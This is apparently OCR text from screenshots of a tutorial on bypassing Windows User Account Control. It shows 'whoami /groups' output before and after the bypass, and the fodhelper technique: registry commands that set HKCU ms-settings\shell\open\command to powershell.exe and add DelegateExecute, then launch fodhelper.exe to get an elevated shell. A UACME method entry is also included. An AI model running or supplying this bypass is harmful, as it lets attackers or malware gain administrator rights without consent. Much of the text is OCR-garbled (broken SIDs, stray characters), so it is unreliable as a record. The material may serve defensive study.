I T OO O ntegrrity I TIITT]

[T M N T e BT e T e aeon T TTI T TTTTIT]

C:\Users\serveradm>whoami /groups

GROUP INFORMATION

Everyone kWell-known
p, Enabled by default, Enabled
BUILTIN\Administrators Alias
deny only
BUILTIN\Users Alias
p, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known
p, Enabled by default, Enabled group
CONSOLE LOGON kWell-known
p, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known
p, Enabled by default, Enabled group
AUTHORITY\This Organization Well-known
Enabled by default, Enabled group
LOCAL Well-known
p, Enabled by default, Enabled group
WHITE-BIRD\Server Admin Group
p, Enabled by default, Enabled group
uthentication authority asserted identity Well-known
p, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label

PS C:\Download> whoami /groups

GROUP INFORMATION

Everyone Well-known

p, Enabled by default, Enabled group

BUILTIN\Administrators Alias

p, Enabled by default, Enabled group, Group owner

BUILTIN\Users Alias

p, Enabled by default, Enabled group

NT AUTHORITY\INTERACTIVE Well-known

p, Enabled by default, Enabled group

CONSOLE LOGON Well-known
Enabled by default, Enabled group
AUTHORITY\Authenticated Users Well-known
Enabled by default, Enabled group
AUTHORITY\This Organization Well-known
Enabled by default, Enabled group

LOCAL Well-known
Enabled by default, Enabled group

WHITE-BIRD\Server Admin Group

p, Enabled by default, Enabled group

(Authentication authority asserted identity Well-known

p, Enabled by default, Enabled group

Mandatory Label\High Mandatory Level Label

5-1-5-32-544

5-1-5-32-545

L |

5-1-2-1

5-1-5-21-2387957962-993181570-3566323574-16085

5-1-18-1

5-1-16-8192

5-1-5-32-544

5-1-5-32-545

5-1-5-21-2387957962-993181578-3566323574-1665

5-1-18-1

5-1-16-12288

Attributes

Mandatory grou
Group used for
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory

Mandatory

Attributes

Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory

Mandatory
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whoami /groups

Level Label 5-1-16

Well-known group S-1-1-8
group, Enabled by defs , Enabled group
Alias
Enabled , ; group

group, Enabled

Enabled
Well-k
Enabled
kell
, ; default, Enabled
BITS Well-k
default, Gr owner
e Well-known gr
owner
Well-known gr
Group owner
phost Well-known g
default, Group owner
WIKEEXT Well-known
default, Enabled group, Group o
Well
Enabled group, Group owne
Well-known

UAC T I I T T VAC I T
[TT] FedHelgert eMe T T T
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& User Account Control Settings — O x

Choose when to be notified about changes to your computer

User Account Control helps prevent potentially harmful programs from making changes to your computer,
Tell me more about User Account Control settings

Always notify
- - Notify me only when apps try to make changes to my
computer (default)
®  Don't notify me when | make changes to Windows
- - settings
o Recommended if you use familiar apps and visit
— — familiar websites,
Mever notify

| Yok || Cancel

(111 Fodhelper UAC [TTT111T

New- Item -Path HKCU: \Software\Classes\ms-settings\shell\open\command - Value "powershell. exe" -
Force

New- ItemProperty -Path HKCU: \Software\Classes\ms-settings\shell\open\command - Name
DelegateExecute -PropertyType String -Force

C: \Windows\System32\fodhelper. exe

[LITTTTITITTI
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PS C:\Users\serveradm: whoami fgroups

GROUP INFORMATION

Attributes

Well-known 5-1-1-@ Mandatory grou

o, Enabled by default, Enabled
EUILTINVAdministrators Alias 5-1-5-32-544 Group used for
deny only
EUILTIN\Users Alias 5-1-5-32-545 Mandatory
P, Enabled by default, Enabled group
NT AUTHORITYWINTERACTIVE Well-known 5-1-5-4 Mandatory
P, Enabled by default, Enabled group
CONSOLE LOGON Well-known 5-1-2-1 Mandatory
p, Enabled by default, Enabled group
NT AUTHORITYWAuthenticated Users Well-known 5-1-5-11 Mandatory
p, Enabled by default, Enabled group
NT AUTHORITYAThis Organization Well-known 5-1-5-15 Mandatory
P, Enabled by default, Enabled group

LOCAL Well-known 5-1-2-8 Mandatory
P, Enabled by default, Enabled group

HITE-BIRD\Server Admin Group 5-1-5-21-2387957962-099318157@-3566323574-16085 Mandatory
P, Enabled by default, Enabled group

uthentication authority asserted identity Well-known Mandatory
p, Enabled by default, Enabled group
Mandatory Label%Medium Mandatory Level

(IITITITITIITT] powershell.exe GUI [T1T]

PS C:\Users\serveradm:> new-item HKCU: \Software\Classes\ms-settingsishell\open\command

Hive: HKEY_CURRENT_USER\Software\Classes\ms-settingsishelllopen

Property

{default) : powershell.exe

PS5 C:\Users\serveradm» MNew-ItemProperty HKCU: \Software\Classes\ms-settingsishell\open\command DelegateExecut]
String

Microsoft.PowerShell.Core\Registry: :HKEY _CURRENT_USER\Software\Classesms-settingsishell\open'command
Microsoft.PowerShell.Core\Registry: ;HKEY_CURRENT_USER\Software\Classes\ms-settingsi\shelllopen

command

HKCU

Microsoft.PowerShell.Core\Registry

PS C:\Users\serveradm: C:\windows‘\system32\fodhelper.
PS5 Ci\Users\serveradm:
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EX Select Administrator: Windows PowerShell - O X

indows PowerShell
opyright (C) Microsoft Corporation. All rights reserved.

S C:\Windows\system32> whoami /groups

GROUP INFORMATION

Group Name s Attributes

veryo known group Mandatory grou
0, Enabled by default, Enabled group
SUILTINVAdministrators Alias 5-1-5-32-544 Mandatory grou
v group, Group owner
Alias S-1-5-32-545 Mandatory grou
d default, Enabled group
T AUTHORITY\INTERACTIVE well-known group sS-1-5-4 Mandatory grou
n, Enabled by default, Enabled group
CONSOLE LOGON well-known group 5-1-2-1 Mandatory grou
n, Enabled by default, Enabled group
T AUTHORITY\Authenticated Users well-known group s-1-5-11 Mandatory grou
0, Enabled by default, Enabled group
T AUTHORITY\This Organization well-known group S-1-5-15 Mandatory grou
n, Enabled by default, Enabled group
OCAL well-known group s-1-2-0 Mandatory grou
0, Enabled by default, Enabled group
HITE-BIRD\Server Admin Group 5-1-5-21-2387957962-993181570-3566323574-1605 Mandatory grou
n, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory grou

n, Enabled by default, Enabled group
1andatory Labe'\"\ Label 5-1-16-12288

S C:\Windows\system32>

(0 UAQUALYH D

[PEIVEIT . Fom/hfirefOx/UACME) [TT1T] Windows [TTTITTTITITTTTTITVACOIIITIIIITITT

(1T 6 LTI TTTITIT]

SYMAuthor: Enigma0x3/bytecode77 derivative by Nassim Asrir

ype: Shell API

ClMethod: Registry key manipulation

CllTarget(s): \system32\slui.exe, \system32\changepk.exe

SlComponent(s): Attacker defined
Sl mplementation: ucmShellRegModMethod
M\Norks from: Windows 10 (14393)

ClFixed in: unfixed

ode status: added in v3.2.5

O
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